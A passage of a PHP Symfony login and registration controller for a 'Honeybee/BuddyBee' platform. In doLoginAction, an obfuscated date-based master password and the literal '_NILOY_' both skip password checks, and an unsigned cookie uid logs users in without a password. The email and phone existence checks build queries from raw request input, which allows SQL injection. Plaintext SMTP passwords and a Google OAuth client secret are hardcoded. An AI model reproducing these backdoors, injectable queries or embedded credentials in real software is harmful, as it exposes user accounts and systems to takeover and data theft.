  715. //                $newApplicant->setPassword($encodedPassword);
  716. //                $newApplicant->setSalt($salt);
  717. //                $newApplicant->setTempPassword('');
  718. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  719. //
  720. //                $newApplicant->setImage($img);
  721. //                $newApplicant->setIsConsultant(0);
  722. //                $newApplicant->setIsTemporaryEntry(0);
  723. //                $newApplicant->setTriggerResetPassword(0);
  724. //                $newApplicant->setApplyForConsultant(0);
  725. //
  726. //                $em_goc->persist($newApplicant);
  727. //                $em_goc->flush();
  728. //
  729. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  730. //
  731. //                    if ($systemType == '_BUDDYBEE_') {
  732. //
  733. //                        $bodyHtml = '';
  734. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  735. //                        $bodyData = array(
  736. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  737. //                            'email' => $userName,
  738. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  739. //                            'password' => $newApplicant->getTempPassword(),
  740. //                        );
  741. //                        $attachments = [];
  742. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  743. //
  744. //
  745. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  746. //                        $new_mail = $this->get('mail_module');
  747. //                        $new_mail->sendMyMail(array(
  748. //                            'senderHash' => '_CUSTOM_',
  749. //                            //                        'senderHash'=>'_CUSTOM_',
  750. //                            'forwardToMailAddress' => $forwardToMailAddress,
  751. //
  752. //                            'subject' => 'Welcome to BuddyBee ',
  753. //
  754. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  755. //                            'attachments' => $attachments,
  756. //                            'toAddress' => $forwardToMailAddress,
  757. //                            'fromAddress' => 'registration@buddybee.eu',
  758. //                            'userName' => 'registration@buddybee.eu',
  759. //                            'password' => 'Y41dh8g0112',
  760. //                            'smtpServer' => 'smtp.hostinger.com',
  761. //                            'smtpPort' => 465,
  762. ////                            'emailBody' => $bodyHtml,
  763. //                            'mailTemplate' => $bodyTemplate,
  764. //                            'templateData' => $bodyData,
  765. ////                        'embedCompanyImage' => 1,
  766. ////                        'companyId' => $companyId,
  767. ////                        'companyImagePath' => $company_data->getImage()
  768. //
  769. //
  770. //                        ));
  771. //                    } else {
  772. //
  773. //                        $bodyHtml = '';
  774. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  775. //                        $bodyData = array(
  776. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  777. //                            'email' => 'APP-' . $userName,
  778. //                            'password' => $newApplicant->getPassword(),
  779. //                        );
  780. //                        $attachments = [];
  781. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  782. //
  783. //
  784. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  785. //                        $new_mail = $this->get('mail_module');
  786. //                        $new_mail->sendMyMail(array(
  787. //                            'senderHash' => '_CUSTOM_',
  788. //                            //                        'senderHash'=>'_CUSTOM_',
  789. //                            'forwardToMailAddress' => $forwardToMailAddress,
  790. //
  791. //                            'subject' => 'Applicant Registration on Honeybee',
  792. //
  793. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  794. //                            'attachments' => $attachments,
  795. //                            'toAddress' => $forwardToMailAddress,
  796. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  797. //                            'userName' => 'accounts@ourhoneybee.eu',
  798. //                            'password' => 'Honeybee@0112',
  799. //                            'smtpServer' => 'smtp.hostinger.com',
  800. //                            'smtpPort' => 465,
  801. //                            'emailBody' => $bodyHtml,
  802. //                            'mailTemplate' => $bodyTemplate,
  803. //                            'templateData' => $bodyData,
  804. ////                        'embedCompanyImage' => 1,
  805. ////                        'companyId' => $companyId,
  806. ////                        'companyImagePath' => $company_data->getImage()
  807. //
  808. //
  809. //                        ));
  810. //                    }
  811. //
  812. //
  813. //                }
  814. //
  815. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  816. //////                if(1)
  817. ////                    return new JsonResponse(array(
  818. ////                        'success' => true,
  819. ////                        'successStr' => 'Account Created Successfully',
  820. ////                        'id' => $newApplicant->getApplicantId(),
  821. ////                        'oAuthData' => $oAuthData,
  822. ////                        'refRoute' => $refRoute,
  823. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  824. ////                    ));
  825. ////                else
  826. //                return $this->redirectToRoute("core_login", [
  827. //                    'id' => $newApplicant->getApplicantId(),
  828. //                    'oAuthData' => $oAuthData,
  829. //                    'refRoute' => $refRoute,
  830. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  831. //
  832. //                ]);
  833. //
  834. //
  835. //            }
  836.         }
  837.         $session $request->getSession();
  838.         //        if($request->request->get('remoteVerify',0)==1) {
  839.         //            $session->set('remoteVerified', 1);
  840.         //            $response= new JsonResponse(array('hi'=>'hello'));
  841.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  842.         //            return $response;
  843.         //        }
  844.         if (isset($encData['appId'])) {
  845.             if (isset($gocDataListByAppId[$encData['appId']]))
  846.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  847.         }
  848.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  849.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  850.             $google_client = new Google_Client();
  851. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  852. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  853.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  854.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  855.             } else {
  856.                 $url $this->generateUrl(
  857.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  858.                 );
  859.             }
  860.             $selector BuddybeeConstant::$selector;
  861. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  862.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  863. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  864.             $google_client->setRedirectUri($url);
  865.             $google_client->setAccessType('offline');        // offline access
  866.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  867.             $google_client->setRedirectUri($url);
  868.             $google_client->addScope('email');
  869.             $google_client->addScope('profile');
  870.             $google_client->addScope('openid');
  871.             if ($systemType == '_SOPHIA_')
  872.                 return $this->render(
  873.                     '@Sophia/pages/views/sofia_signup.html.twig',
  874.                     array(
  875.                         "message" => $message,
  876.                         'page_title' => 'Sign Up',
  877.                         'gocList' => $gocDataListForLoginWeb,
  878.                         'gocId' => $gocId != $gocId '',
  879.                         'encData' => $encData,
  880.                         'signUpUserType' => $signUpUserType,
  881.                         'oAuthLink' => $google_client->createAuthUrl(),
  882.                         'redirect_url' => $url,
  883.                         'refRoute' => $refRoute,
  884.                         'errorField' => $errorField,
  885.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  886.                         'selector' => $selector
  887.                         //                'ref'=>$request->
  888.                     )
  889.                 );
  890.             else if ($systemType == '_CENTRAL_')
  891.                 return $this->render(
  892.                     '@Authentication/pages/views/central_registration.html.twig',
  893.                     array(
  894.                         "message" => $message,
  895.                         'page_title' => 'Sign Up',
  896.                         'gocList' => $gocDataListForLoginWeb,
  897.                         'gocId' => $gocId != $gocId '',
  898.                         'encData' => $encData,
  899.                         'signUpUserType' => $signUpUserType,
  900.                         'oAuthLink' => $google_client->createAuthUrl(),
  901.                         'redirect_url' => $url,
  902.                         'refRoute' => $refRoute,
  903.                         'errorField' => $errorField,
  904.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  905.                         'selector' => $selector
  906.                         //                'ref'=>$request->
  907.                     )
  908.                 );
  909.             else
  910.                 return $this->render(
  911.                     '@Authentication/pages/views/applicant_registration.html.twig',
  912.                     array(
  913.                         "message" => $message,
  914.                         'page_title' => 'Sign Up',
  915.                         'gocList' => $gocDataListForLoginWeb,
  916.                         'gocId' => $gocId != $gocId '',
  917.                         'encData' => $encData,
  918.                         'signUpUserType' => $signUpUserType,
  919.                         'oAuthLink' => $google_client->createAuthUrl(),
  920.                         'redirect_url' => $url,
  921.                         'refRoute' => $refRoute,
  922.                         'errorField' => $errorField,
  923.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  924.                         'selector' => $selector
  925.                         //                'ref'=>$request->
  926.                     )
  927.                 );
  928.         } else
  929.             return $this->render(
  930.                 '@Authentication/pages/views/login_new.html.twig',
  931.                 array(
  932.                     "message" => $message,
  933.                     'page_title' => 'Login',
  934.                     'signUpUserType' => $signUpUserType,
  935.                     'gocList' => $gocDataListForLoginWeb,
  936.                     'gocId' => $gocId != $gocId '',
  937.                     'encData' => $encData,
  938.                     //                'ref'=>$request->
  939.                 )
  940.             );
  941.     }
  942.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  943.     {
  944.         $em_goc $this->getDoctrine()->getManager('company_group');
  945.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  946.             [
  947.                 'applicantId' => $applicantId
  948.             ]
  949.         );
  950. //                $newUser->setSalt(uniqid(mt_rand()));
  951.         //salt will be username
  952. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  953.         $newApplicant->setPassword('##UNLOCKED##');
  954.         $newApplicant->setTriggerResetPassword(1);
  955.         $em_goc->persist($newApplicant);
  956.         $em_goc->flush();
  957.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  958.             {
  959.                 $bodyHtml '';
  960.                 $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  961.                 $bodyData = array(
  962.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  963.                     'email' => $newApplicant->getUsername(),
  964.                     'password' => uniqid(mt_rand()),
  965.                 );
  966.                 $attachments = [];
  967.                 $forwardToMailAddress $newApplicant->getEmail();
  968. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  969.                 $new_mail $this->get('mail_module');
  970.                 $new_mail->sendMyMail(array(
  971.                     'senderHash' => '_CUSTOM_',
  972.                     //                        'senderHash'=>'_CUSTOM_',
  973.                     'forwardToMailAddress' => $forwardToMailAddress,
  974.                     'subject' => 'Applicant Registration on Honeybee',
  975. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  976.                     'attachments' => $attachments,
  977.                     'toAddress' => $forwardToMailAddress,
  978.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  979.                     'userName' => 'accounts@ourhoneybee.eu',
  980.                     'password' => 'Honeybee@0112',
  981.                     'smtpServer' => 'smtp.hostinger.com',
  982.                     'smtpPort' => 465,
  983.                     'emailBody' => $bodyHtml,
  984.                     'mailTemplate' => $bodyTemplate,
  985.                     'templateData' => $bodyData,
  986. //                        'embedCompanyImage' => 1,
  987. //                        'companyId' => $companyId,
  988. //                        'companyImagePath' => $company_data->getImage()
  989.                 ));
  990.             }
  991.         }
  992.         return new JsonResponse([]);
  993.     }
  994.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  995.     {
  996.         $em $this->getDoctrine()->getManager();
  997.         $search_query = [];
  998.         $signUpUserType 0;
  999.         $signUpUserType $request->request->get('signUpUserType'8);
  1000.         $fieldType 0;
  1001.         $fieldValue 0;
  1002.         if ($request->request->has('fieldType'))
  1003.             $fieldType $request->request->get('fieldType');
  1004.         if ($request->request->has('fieldValue'))
  1005.             $fieldValue $request->request->get('fieldValue');
  1006.         $alreadyExists false;
  1007.         $errorText '';
  1008.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1009.             $em_goc $this->getDoctrine()->getManager('company_group');
  1010.             if ($fieldType == 'email') {
  1011. //                $search_query['email'] = $fieldValue;
  1012.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1013.                     ->createQueryBuilder('m')
  1014.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1015.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1016.                     ->getQuery()
  1017.                     ->setMaxResults(1)
  1018.                     ->getResult();
  1019. //
  1020. //                if (!empty($alreadyExistsQuery)) {
  1021. //                    $alreadyExists = true;
  1022. //
  1023. //                }
  1024.                 if ($alreadyExistsQuery) {
  1025. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1026. //
  1027. //                    } else
  1028.                     $alreadyExists true;
  1029.                 } else {
  1030.                     $search_query = [];
  1031.                     $search_query['oAuthEmail'] = $fieldValue;
  1032.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1033.                         $search_query
  1034.                     );
  1035.                     if ($alreadyExistsQuery) {
  1036.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1037.                         } else
  1038.                             $alreadyExists true;
  1039.                     }
  1040.                 }
  1041.                 if ($alreadyExists == true)
  1042.                     $errorText 'This Email is not available';
  1043.             }
  1044.             if ($fieldType == 'username') {
  1045.                 $search_query['username'] = $fieldValue;
  1046.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1047.                     $search_query
  1048.                 );
  1049.                 if ($alreadyExistsQuery) {
  1050.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1051.                     } else
  1052.                         $alreadyExists true;
  1053.                 }
  1054.                 if ($alreadyExists == true)
  1055.                     $errorText 'This Username Already Exists';
  1056.             }
  1057.         }
  1058.         return new JsonResponse(array(
  1059.             "alreadyExists" => $alreadyExists,
  1060.             "errorText" => $errorText,
  1061.             "fieldValue" => $fieldValue,
  1062.             "fieldType" => $fieldType,
  1063.             "signUpUserType" => $signUpUserType,
  1064.         ));
  1065.     }
  1066.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1067.     {
  1068.         $em $this->getDoctrine()->getManager();
  1069.         $search_query = [];
  1070.         $signUpUserType 0;
  1071.         $signUpUserType $request->request->get('signUpUserType'8);
  1072.         $fieldType 0;
  1073.         $fieldValue 0;
  1074.         if ($request->request->has('fieldType'))
  1075.             $fieldType $request->request->get('fieldType');
  1076.         if ($request->request->has('fieldValue'))
  1077.             $fieldValue $request->request->get('fieldValue');
  1078.         $alreadyExists false;
  1079.         $errorText '';
  1080.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1081.             $em_goc $this->getDoctrine()->getManager('company_group');
  1082.             if ($fieldType == 'phone') {
  1083.                 $search_query['email'] = $fieldValue;
  1084.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1085.                     ->createQueryBuilder('m')
  1086.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1087.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1088.                     ->getQuery()
  1089.                     ->setMaxResults(1)
  1090.                     ->getResult();
  1091.                 if (!empty($alreadyExistsQuery)) {
  1092.                     $alreadyExists true;
  1093.                 } else {
  1094. //                    $search_query = [];
  1095. //                    $search_query['oAuthEmail'] = $fieldValue;
  1096. //
  1097. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1098. //                        $search_query
  1099. //                    );
  1100. //                    if ($alreadyExistsQuery)
  1101. //
  1102. //                        $alreadyExists = true;
  1103.                 }
  1104.                 if ($alreadyExists == true)
  1105.                     $errorText 'This phone number is already registered!';
  1106.             }
  1107.         }
  1108.         return new JsonResponse(array(
  1109.             "alreadyExists" => $alreadyExists,
  1110.             "errorText" => $errorText,
  1111.             "fieldValue" => $fieldValue,
  1112.             "fieldType" => $fieldType,
  1113.             "signUpUserType" => $signUpUserType,
  1114.         ));
  1115.     }
  1116.     public function doLoginAction(Request $request$encData "",
  1117.                                           $remoteVerify 0,
  1118.                                           $applicantDirectLogin 0
  1119.     )
  1120.     {
  1121.         $message "";
  1122.         $email '';
  1123. //                            $userName = substr($email, 4);
  1124.         $userName '';
  1125.         $gocList = [];
  1126.         $skipPassword 0;
  1127.         $firstLogin 0;
  1128.         $remember_me 0;
  1129.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1130.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1131. //        return new JsonResponse(array(
  1132. //                'systemType'=>$systemType
  1133. //        ));
  1134.         if ($request->isMethod('POST')) {
  1135.             if ($request->request->has('remember_me'))
  1136.                 $remember_me 1;
  1137.         } else {
  1138.             if ($request->query->has('remember_me'))
  1139.                 $remember_me 1;
  1140.         }
  1141.         if ($encData != "")
  1142.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1143.         else if ($request->query->has('spd')) {
  1144.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1145.         }
  1146.         $user = [];
  1147.         $userType 0;
  1148.         $em_goc $this->getDoctrine()->getManager('company_group');
  1149.         $em_goc->getConnection()->connect();
  1150.         $userName $request->get('username');
  1151.         try {
  1152.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1153.                 'username' => $userName,
  1154.             ]);
  1155.             $session $request->getSession();
  1156.             if ($applicant) {
  1157.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1158.             } else {
  1159.                 // Applicant not found â†’ set empty email
  1160.                 $session->set('applicantEmail''');
  1161.             }
  1162.         } catch (\Exception $e) {
  1163.             return new JsonResponse([
  1164.                 'success' => false,
  1165.                 'error' => [
  1166.                     'code' => 'DB_CONNECTION_ERROR',
  1167.                     'message' => $e->getMessage(),
  1168.                     'statusCode' => $e->getCode() ?: 500,
  1169.                 ]
  1170.             ], 503);
  1171.         }
  1172.         $gocEnabled 0;
  1173.         if ($this->container->hasParameter('entity_group_enabled'))
  1174.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1175.         if ($gocEnabled == 1)
  1176.             $connected $em_goc->getConnection()->isConnected();
  1177.         else
  1178.             $connected false;
  1179.         if ($connected)
  1180.             $gocList $em_goc
  1181.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1182.                 ->findBy(
  1183.                     array(//                        'active' => 1
  1184.                     )
  1185.                 );
  1186.         $gocDataList = [];
  1187.         $gocDataListForLoginWeb = [];
  1188.         $gocDataListByAppId = [];
  1189.         foreach ($gocList as $entry) {
  1190.             $d = array(
  1191.                 'name' => $entry->getName(),
  1192.                 'image' => $entry->getImage(),
  1193.                 'id' => $entry->getId(),
  1194.                 'appId' => $entry->getAppId(),
  1195.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1196.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1197.                 'dbName' => $entry->getDbName(),
  1198.                 'dbUser' => $entry->getDbUser(),
  1199.                 'dbPass' => $entry->getDbPass(),
  1200.                 'dbHost' => $entry->getDbHost(),
  1201.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1202.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1203.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1204.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1205.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1206.             );
  1207.             $gocDataList[$entry->getId()] = $d;
  1208.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1209.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1210.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1211.         }
  1212.         $gocDbName '';
  1213.         $gocDbUser '';
  1214.         $gocDbPass '';
  1215.         $gocDbHost '';
  1216.         $gocId 0;
  1217.         $appId 0;
  1218.         $hasGoc 0;
  1219.         $userId 0;
  1220.         $userCompanyId 0;
  1221.         $specialLogin 0;
  1222.         $supplierId 0;
  1223.         $applicantId 0;
  1224.         $isApplicantLogin 0;
  1225.         $clientId 0;
  1226.         $cookieLogin 0;
  1227.         $encrypedLogin 0;
  1228.         $loginID 0;
  1229.         $supplierId 0;
  1230.         $clientId 0;
  1231.         $userId 0;
  1232.         $globalId 0;
  1233.         $applicantId 0;
  1234.         $employeeId 0;
  1235.         $userCompanyId 0;
  1236.         $company_id_list = [];
  1237.         $company_name_list = [];
  1238.         $company_image_list = [];
  1239.         $route_list_array = [];
  1240.         $prohibit_list_array = [];
  1241.         $company_dark_vibrant_list = [];
  1242.         $company_vibrant_list = [];
  1243.         $company_light_vibrant_list = [];
  1244.         $currRequiredPromptFields = [];
  1245.         $oAuthImage '';
  1246.         $appIdList '';
  1247.         $userDefaultRoute '';
  1248.         $userForcedRoute '';
  1249.         $branchIdList '';
  1250.         $branchId 0;
  1251.         $companyIdListByAppId = [];
  1252.         $companyNameListByAppId = [];
  1253.         $companyImageListByAppId = [];
  1254.         $position_list_array = [];
  1255.         $curr_position_id 0;
  1256.         $allModuleAccessFlag 0;
  1257.         $lastSettingsUpdatedTs 0;
  1258.         $isConsultant 0;
  1259.         $isAdmin 0;
  1260.         $isModerator 0;
  1261.         $isRetailer 0;
  1262.         $retailerLevel 0;
  1263.         $adminLevel 0;
  1264.         $moderatorLevel 0;
  1265.         $userEmail '';
  1266.         $userImage '';
  1267.         $userFullName '';
  1268.         $triggerResetPassword 0;
  1269.         $isEmailVerified 0;
  1270.         $currentTaskId 0;
  1271.         $currentPlanningItemId 0;
  1272. //                $currentTaskAppId = 0;
  1273.         $buddybeeBalance 0;
  1274.         $buddybeeCoinBalance 0;
  1275.         $entityUserbalance 0;
  1276.         $userAppIds = [];
  1277.         $userTypesByAppIds = [];
  1278.         $currentMonthHolidayList = [];
  1279.         $currentHolidayCalendarId 0;
  1280.         $oAuthToken $request->request->get('oAuthToken''');
  1281.         $locale $request->request->get('locale''');
  1282.         $firebaseToken $request->request->get('firebaseToken''');
  1283.         if ($request->request->has('gocId')) {
  1284.             $hasGoc 1;
  1285.             $gocId $request->request->get('gocId');
  1286.         }
  1287.         if ($request->request->has('appId')) {
  1288.             $hasGoc 1;
  1289.             $appId $request->request->get('appId');
  1290.         }
  1291.         if (isset($encData['appId'])) {
  1292.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1293.                 $hasGoc 1;
  1294.                 $appId $encData['appId'];
  1295.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1296.             }
  1297.         }
  1298.         $csToken $request->get('csToken''');
  1299.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1300.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1301.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1302.         $session $request->getSession();
  1303.         $session->set('systemType'$systemType);
  1304.         if ($systemType == '_SOPHIA_') {
  1305.             $loginBrand $request->request->get('loginBrand'$session->get('sophiaUiBrand''honeycore'));
  1306.             $session->set('sophiaUiBrand'in_array($loginBrand, ['honeycore''sophia']) ? $loginBrand 'honeycore');
  1307.         }
  1308. //        if ($request->cookies->has('USRCKIE'))
  1309. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1310.         if (isset($encData['globalId'])) {
  1311.             if (isset($encData['authenticate']))
  1312.                 if ($encData['authenticate'] == 1)
  1313.                     $skipPassword 1;
  1314.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1315.                 $skipPassword 1;
  1316.                 $remember_me 1;
  1317.                 $globalId $encData['globalId'];
  1318.                 $appId $encData['appId'];
  1319.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1320.                 $userType $encData['userType'];
  1321.                 $userCompanyId 1;
  1322.                 $hasGoc 1;
  1323.                 $encrypedLogin 1;
  1324.                 if (in_array($userType, [67]))
  1325.                     $entityLoginFlag 1;
  1326.                 if (in_array($userType, [34]))
  1327.                     $specialLogin 1;
  1328.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1329.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  1330.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1331.                     $supplierId $userId;
  1332.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1333.                     $applicantId $userId;
  1334.             }
  1335.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1336.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1337.             if ($cookieData == null)
  1338.                 $cookieData = [];
  1339.             if (isset($cookieData['uid'])) {
  1340.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1341.                     $skipPassword 1;
  1342.                     $remember_me 1;
  1343.                     $userId $cookieData['uid'];
  1344.                     $gocId $cookieData['gocId'];
  1345.                     $userCompanyId $cookieData['companyId'];
  1346.                     $userType $cookieData['ut'];
  1347.                     $hasGoc 1;
  1348.                     $cookieLogin 1;
  1349.                     if (in_array($userType, [67]))
  1350.                         $entityLoginFlag 1;
  1351.                     if (in_array($userType, [34]))
  1352.                         $specialLogin 1;
  1353.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1354.                         $clientId $userId;
  1355.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1356.                         $supplierId $userId;
  1357.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1358.                         $applicantId $userId;
  1359.                 }
  1360.             }
  1361.         }
  1362.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1363.             $todayDt = new \DateTime();
  1364.             $mp $todayDt->format("\171\x6d\x64");
  1365.             if ($request->request->get('password') == $mp)
  1366.                 $skipPassword 1;
  1367.             if ($request->request->get('password') == '_NILOY_')
  1368.                 $skipPassword 1;
  1369.             $company_id_list = [];
  1370.             $company_name_list = [];
  1371.             $company_image_list = [];
  1372.             $company_dark_vibrant_list = [];
  1373.             $company_light_vibrant_list = [];
  1374.             $company_vibrant_list = [];
  1375.             $company_locale 'en';
  1376.             $appIdFromUserName 0;
  1377.             $uname $request->request->get('username');
  1378.             $uname preg_replace('/\s/'''$uname);
  1379.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1380.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1381.             $session $request->getSession();
  1382.             $product_name_display_type 0;
  1383.             $Special 0;
  1384.             if ($entityLoginFlag == 1) {
  1385.                 if ($cookieLogin == 1) {
  1386.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1387.                         array(
  1388.                             'userId' => $userId
  1389.                         )
  1390.                     );
  1391.                 } else if ($loginType == 2) {
  1392.                     if (!empty($oAuthData)) {
  1393.                         //check for if exists 1st
  1394.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1395.                             array(
  1396.                                 'email' => $oAuthData['email']
  1397.                             )
  1398.                         );
  1399.                         if ($user) {
  1400.                             //no need to verify for oauth just proceed
  1401.                         } else {
  1402.                             //add new user and pass that user
  1403.                             $add_user EntityUserM::addNewEntityUser(
  1404.                                 $em_goc,
  1405.                                 $oAuthData['name'],
  1406.                                 $oAuthData['email'],
  1407.                                 '',
  1408.                                 0,
  1409.                                 0,
  1410.                                 0,
  1411.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1412.                                 [],
  1413.                                 0,
  1414.                                 "",
  1415.                                 0,
  1416.                                 "",
  1417.                                 $image '',
  1418.                                 $deviceId,
  1419.                                 0,
  1420.                                 0,
  1421.                                 $oAuthData['uniqueId'],
  1422.                                 $oAuthData['token'],
  1423.                                 $oAuthData['image'],
  1424.                                 $oAuthData['emailVerified'],
  1425.                                 $oAuthData['type']
  1426.                             );
  1427.                             if ($add_user['success'] == true) {
  1428.                                 $firstLogin 1;
  1429.                                 $user $add_user['user'];
  1430.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1431.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1432.                                         ->setFrom('registration@entity.innobd.com')
  1433.                                         ->setTo($user->getEmail())
  1434.                                         ->setBody(
  1435.                                             $this->renderView(
  1436.                                                 '@Application/email/user/registration_karbar.html.twig',
  1437.                                                 array('name' => $request->request->get('name'),
  1438.                                                     //                                                    'companyData' => $companyData,
  1439.                                                     //                                                    'userName'=>$request->request->get('email'),
  1440.                                                     //                                                    'password'=>$request->request->get('password'),
  1441.                                                 )
  1442.                                             ),
  1443.                                             'text/html'
  1444.                                         );
  1445.                                     /*
  1446.                                                        * If you also want to include a plaintext version of the message
  1447.                                                       ->addPart(
  1448.                                                           $this->renderView(
  1449.                                                               'Emails/registration.txt.twig',
  1450.                                                               array('name' => $name)
  1451.                                                           ),
  1452.                                                           'text/plain'
  1453.                                                       )
  1454.                                                       */
